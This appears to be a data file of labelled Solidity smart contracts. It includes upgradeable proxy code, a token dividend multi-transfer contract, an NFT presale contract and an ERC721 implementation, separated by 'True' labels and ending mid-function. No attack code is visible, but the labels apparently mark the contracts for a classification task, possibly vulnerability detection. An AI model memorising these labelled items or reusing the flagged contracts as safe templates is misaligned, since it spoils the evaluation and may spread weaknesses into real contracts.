contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
interface IProxyFactory {
function productImplementation() external view returns (address);
function productImplementations(bytes32 name) external view returns (address);
}
/**
* @title ProductProxy
* @dev This contract implements a proxy that
* it is deploied by ProxyFactory,
* and it's implementation is stored in factory.
*/
contract ProductProxy is Proxy {
/**
* @dev Storage slot with the address of the ProxyFactory.
* This is the keccak-256 hash of "eip1967.proxy.factory" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant FACTORY_SLOT = 0x7a45a402e4cb6e08ebc196f20f66d5d30e67285a2a8aa80503fa409e727a4af1;
function productName() virtual public pure returns (bytes32) {
return 0x0;
}
/**
* @dev Sets the factory address of the ProductProxy.
* @param newFactory Address of the new factory.
*/
function _setFactory(address newFactory) internal {
require(OpenZeppelinUpgradesAddress.isContract(newFactory), "Cannot set a factory to a non-contract address");
bytes32 slot = FACTORY_SLOT;
assembly {
sstore(slot, newFactory)
}
}
/**
* @dev Returns the factory.
* @return factory Address of the factory.
*/
function _factory() internal view returns (address factory) {
bytes32 slot = FACTORY_SLOT;
assembly {
factory := sload(slot)
}
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() virtual override internal view returns (address) {
address factory = _factory();
if(OpenZeppelinUpgradesAddress.isContract(factory))
return IProxyFactory(factory).productImplementations(productName());
else
return address(0);
}
}
/**
* @title InitializableProductProxy
* @dev Extends ProductProxy with an initializer for initializing
* factory and init data.
*/
contract InitializableProductProxy is ProductProxy {
/**
* @dev Contract initializer.
* @param factory Address of the initial factory.
* @param data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address factory, bytes memory data) public payable {
require(_factory() == address(0));
assert(FACTORY_SLOT == bytes32(uint256(keccak256('eip1967.proxy.factory')) - 1));
_setFactory(factory);
if(data.length > 0) {
(bool success,) = _implementation().delegatecall(data);
require(success);
}
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | True | [
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pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
}
interface NoahToken {
function transfer(address to, uint tokens) public returns (bool success);
function balanceOf(address tokenOwner) public returns (uint256 balance);
}
contract NoahDividend is Ownable {
NoahToken public noahToken;
/**
* Constrctor function
*
*/
function NoahDividend(address noahTokenAddress) public {
noahToken = NoahToken(noahTokenAddress);
}
// function checkTotalBalance(uint256[] tokenAmounts) public view returns (bool) {
// uint256 total = 0;
// for (uint i = 0; i < tokenAmounts.length; i++) {
// total += tokenAmounts[i];
// }
// return total > 0 && noahToken.balanceOf(this) >= total;
// }
function balanceOfInvestor(address investor) public view returns (uint256 balance) {
return noahToken.balanceOf(investor);
}
function multiTransfer(address[] investors, uint256[] tokenAmounts) onlyOwner public returns (address[] results) {
results = new address[](investors.length);
if (investors.length != tokenAmounts.length || investors.length == 0 || tokenAmounts.length == 0) {
revert();
}
// if (!this.checkTotalBalance(tokenAmounts)) {
// revert();
// }
for (uint i = 0; i < investors.length; i++) {
bool result = noahToken.transfer(investors[i], tokenAmounts[i]);
if (result == true){
results[i] = investors[i];
}
}
return results;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-01
*/
// File: openzeppelin-solidity/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: openzeppelin-solidity/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: zoo/INFT.sol
pragma solidity ^0.8.0;
interface INFT {
function mint(address _to, uint _tokenId) external;
function tokenTypeAndPrice(uint _tokenId) external view returns (string memory _tokenType, uint _price);
}
// File: zoo/NftSale.sol
pragma solidity ^0.8.0;
contract NftSale is Ownable{
using SafeERC20 for IERC20;
address payable public ethReceiver;
mapping(address => uint) public presaleMinted;
uint allowedToMintPresale;
uint presaleStart;
uint saleStart;
INFT public nft;
address immutable public verifyAddress = 0xdFFf98Bdf70A814dF3333CbaA558161D35390044;
constructor(
address payable _ethReceiver,
address _nftAddress,
uint _presaleStart,
uint _saleStart,
uint _allowedToMintPresale
) {
ethReceiver = _ethReceiver;
presaleStart = _presaleStart;
saleStart = _saleStart;
allowedToMintPresale = _allowedToMintPresale;
nft = INFT(_nftAddress);
}
// onlyOwner methods
function setNewEthReceiver(address _newEthReceiver) external onlyOwner {
ethReceiver = payable(_newEthReceiver);
}
function rescueToken(address token, address to, uint256 amount) external onlyOwner {
IERC20(token).safeTransfer(to, amount);
}
function renounceOwnership() public view override onlyOwner {
revert("renouncing ownership is blocked");
}
function rescueETH(address payable to, uint256 value) external onlyOwner {
(bool success, ) = to.call{value: value}("");
require(success, "ETH_TRANSFER_FAILED");
}
// buy method
function presaleBuyWithSignature(
uint tokenId,
bytes memory _signature
) public payable {
require(verify(_signature), "invalid signature");
require(block.timestamp <= saleStart, "presale ended");
require(block.timestamp >= presaleStart, "presale has not started");
require(presaleMinted[msg.sender] < allowedToMintPresale, "limit exceeded");
(, uint price) = nft.tokenTypeAndPrice(tokenId);
require(price == msg.value, "wrong price");
nft.mint(msg.sender, tokenId);
presaleMinted[msg.sender]++;
_safeTransferETH(ethReceiver, address(this).balance);
}
function buy(
uint tokenId
) public payable {
require(block.timestamp >= saleStart, "sale has not started");
(, uint price) = nft.tokenTypeAndPrice(tokenId);
require(price == msg.value, "wrong price");
nft.mint(msg.sender, tokenId);
_safeTransferETH(ethReceiver, address(this).balance);
}
/// signature methods.
function verify(
bytes memory _signature
) internal view returns(bool) {
bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, address(this))));
return (recoverSigner(message, _signature) == verifyAddress);
}
function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) {
(uint8 v, bytes32 r, bytes32 s) = abi.decode(sig, (uint8, bytes32, bytes32));
return ecrecover(message, v, r, s);
}
/// builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
// internal methods
function _safeTransferETH(address payable to, uint256 value) internal {
(bool success, ) = to.call{value: value}('');
require(success, 'ETH_TRANSFER_FAILED');
}
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/**
*Submitted for verification at Etherscan.io on 2021-08-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
